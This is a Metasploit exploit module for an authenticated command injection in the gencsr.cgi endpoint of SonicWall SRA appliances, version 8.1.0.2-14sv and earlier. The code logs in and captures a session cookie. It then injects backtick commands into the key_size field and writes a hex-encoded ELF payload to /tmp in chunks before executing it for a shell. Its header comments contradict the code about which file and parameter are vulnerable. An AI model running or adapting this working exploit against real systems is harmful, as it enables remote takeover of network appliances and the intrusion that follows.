Sonicwall SRA 8.1.0.2-14sv gencsr.cgi Command Injection

`# Exploit Title: Sonicwall gencsr CGI Remote Command Injection Vulnerablity   
# Date: 12/24/2016  
# Exploit Author: xort @ Critical Start  
# Vendor Homepage: www.sonicwall.com  
# Software Link: sonicwall.com/products/sra-virtual-appliance  
# Version: 8.1.0.6-21sv  
# Tested on: 8.1.0.2-14sv  
#   
# CVE : (awaiting cve)  
  
# vuln: viewcert.cgi / CERT parameter   
  
# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug.   
#  
# xort @ Critical Start  
  
  
  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv gencsr.cgi remote exploit',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in  
the Sonicwall SRA Appliance Version <= v8.1.0.2-14sv. The vulnerability exist in  
a section of the machine's adminstrative infertface for performing configurations   
related to on-connect scripts to be launched for users's connecting.   
},  
'Author' =>  
[  
'xort@Critical Start', # vuln + metasploit module  
],  
'Version' => '$Revision: 1 $',  
'References' =>  
[  
[ 'none', 'none'],  
],  
'Platform' => [ 'linux'],  
'Privileged' => true,  
'Arch' => [ ARCH_X86 ],  
'SessionTypes' => [ 'shell' ],  
'Privileged' => false,  
  
'Payload' =>  
{   
'Compat' =>  
{  
'ConnectionType' => 'find',  
}  
},  
  
'Targets' =>  
[  
['Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
OptString.new('CMD', [ false, 'Command to execute', "" ]),   
Opt::RPORT(443),  
], self.class)  
end  
  
def do_login(username, password_clear)  
vprint_status( "Logging into machine with credentials...\n" )  
  
# vars  
timeout = 1550;  
  
# send request   
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/cgi-bin/userLogin",  
'headers' => {  
'Connection' => 'close',  
'Content-Type' => 'application/x-www-form-urlencoded',  
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',  
},  
'vars_post' => {  
'username' => username,  
'password' => password_clear,  
'domain' => 'LocalDomain',  
'loginButton' => 'Login',  
'state' => 'login',  
'login' => 'true',  
'VerifyCert' => '0',  
'portalname' => 'VirtualOffice',  
'ajax' => 'true'  
},  
  
}, timeout)  
  
swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]  
  
return swap  
end  
  
  
def run_command(swap_cookie, cmd)  
  
# vars  
timeout = 1550;  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/gencsr",  
'data' => "country=USA&san=ASDF&fqdn=www.google.com&county=dallas&applyButt=applyButt%3d&password=xxx&fullsan=xxx&organization=xxx&name=xxx&state=xxx&department=xxx&[email protected]&key_size=`#{cmd}`",  
  
'headers' =>  
{  
'Cookie' => "swap=#{swap_cookie}",  
},  
}, timeout)  
end  
  
def run_command_spliced(swap_cookie, cmd)  
  
write_mode = ">"  
dump_file = "/tmp/qq"  
reqs = 0  
  
cmd_encoded = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
for cmd_chunk in cmd_encoded.split(/(..................................................)/)  
  
cmd_new = "printf \"#{cmd_chunk}\"#{write_mode}#{dump_file}"  
reqs += 1  
  
vprint_status("Running Command (#{reqs})\n")  
  
# set to normal append for loops after the first round  
if write_mode == ">"  
write_mode = ">>"  
end  
  
# add cmd to array to be exected later   
run_command(swap_cookie, cmd_new)  
end  
  
# execute payload stored at dump_file   
run_command(swap_cookie, "chmod +x /tmp/qq; sh /tmp/qq")  
  
end  
  
def exploit  
# timeout  
timeout = 1550;  
  
# params  
password_clear = datastore['PASSWORD']  
user = datastore['USERNAME']  
  
# do authentication   
swap_cookie = do_login(user, password_clear)  
  
vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")  
  
#if no 'CMD' string - add code for root shell  
if not datastore['CMD'].nil? and not datastore['CMD'].empty?  
  
cmd = datastore['CMD']  
  
# Encode cmd payload  
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
# kill stale calls to bdump from previous exploit calls for re-use  
run_command(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))  
  
else  
# Encode payload to ELF file for deployment  
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
run_command_spliced(swap_cookie, "printf \"#{encoded_elf}\">/tmp/m;chmod +rx /tmp/m;/tmp/m")  
  
# wait for magic  
handler  
end  
end  
end  
`